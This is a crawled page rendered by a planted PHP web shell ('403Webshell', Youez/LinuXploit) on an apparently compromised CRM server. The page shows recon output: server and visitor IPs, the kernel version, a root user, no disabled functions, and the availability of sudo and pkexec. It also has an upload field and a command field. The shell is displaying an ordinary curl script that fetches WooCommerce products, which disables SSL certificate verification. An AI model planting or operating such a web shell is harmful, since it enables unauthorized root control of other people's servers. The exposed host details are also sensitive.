403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mequitecbeta.crmtiger.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mequitecbeta.crmtiger.com/apiCurl.php
<?php
ini_set('display_errors', 1);

$curlUrl = "https://maquitewp.crmtiger.com/getWooProducts.php?page=1&perPage=10";
function getResponse($curlUrl, $method, $data){
    
    $headers = array(
        "Content-Type: application/json",
    );

    if($data != ""){
        $data = json_encode($data);
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_URL, $curlUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 0);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

    if($method != 'GET'){
      curl_setopt($ch, CURLOPT_POSTFIELDS, ($data));
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    // converting
    $response = curl_exec($ch);
    return $response;
    curl_close($ch);
}

$json = getResponse($curlUrl, 'GET', $data=array());
$result = json_decode($json, true);
echo "<pre>";print_r($result);exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit